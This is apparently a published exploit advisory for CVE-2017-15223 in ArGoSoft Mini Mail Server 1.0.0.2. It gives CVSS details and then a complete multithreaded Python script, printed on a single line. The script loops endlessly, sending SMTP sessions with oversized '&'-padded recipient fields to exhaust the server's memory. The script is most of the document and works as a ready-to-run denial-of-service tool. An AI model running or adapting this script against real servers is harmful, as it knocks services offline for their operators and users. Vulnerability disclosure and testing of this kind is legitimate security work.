ArGoSoft Mini Mail Server 1.0.0.2 Denial of Service

2017.10.24
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-399


CVSS Base Score: 5/10
Impact Subscore: 2.9/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: None
Integrity impact: None
Availability impact: Partial

#!/usr/bin/env python # coding: utf-8 ############ Description: ########## # The vulnerability was discovered during a vulnerability research lecture. # # Denial-of-service vulnerability in ArGoSoft Mini Mail Server 1.0.0.2 # and earlier allows remote attackers to waste CPU resources (memory # consumption) via unspecified vectors. #################################### # Exploit Title: ArGoSoft Mini Mail Server - DoS (Memory Consumption) # Date: 2017-10-21 # Exploit Author: Berk Cem Göksel # Contact: twitter.com/berkcgoksel || bgoksel.com # Vendor Homepage: http://www.argosoft.com # Software Link: http://www.argosoft.com/rootpages/MiniMail/Default.aspx # Version: 1.0.0.2 # Tested on: Windows 10 # Category: Windows Remote Denial-of-Service # CVE : CVE-2017-15223 import socket from threading import Thread def data(): ip = '127.0.0.1' port = 25 counter = 50 string = '&' while True: try: if counter >= 10000: counter = 0 else: counter = counter + 50 A = (string * counter) + 'user2@othermail.com' print "String lenght: " + str(len(A)) sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(5.0) sock.connect((ip, port)) sock.send('HELO localhost\r\n' + 'MAIL FROM: user1@somemail.com\r\n' + 'RCPT TO: ' + A + '\r\nDATA\r\nMessage-ID:1224\r\SDFGQUIL\r\n"."\r\n' + 'QUIT\r\n') sock.recv(1024) sock.close() except Exception as e: continue def main(): iterations = int(input("Threads: ")) for i in range(iterations): t = Thread(target=data) t.start() if __name__ == '__main__': main()


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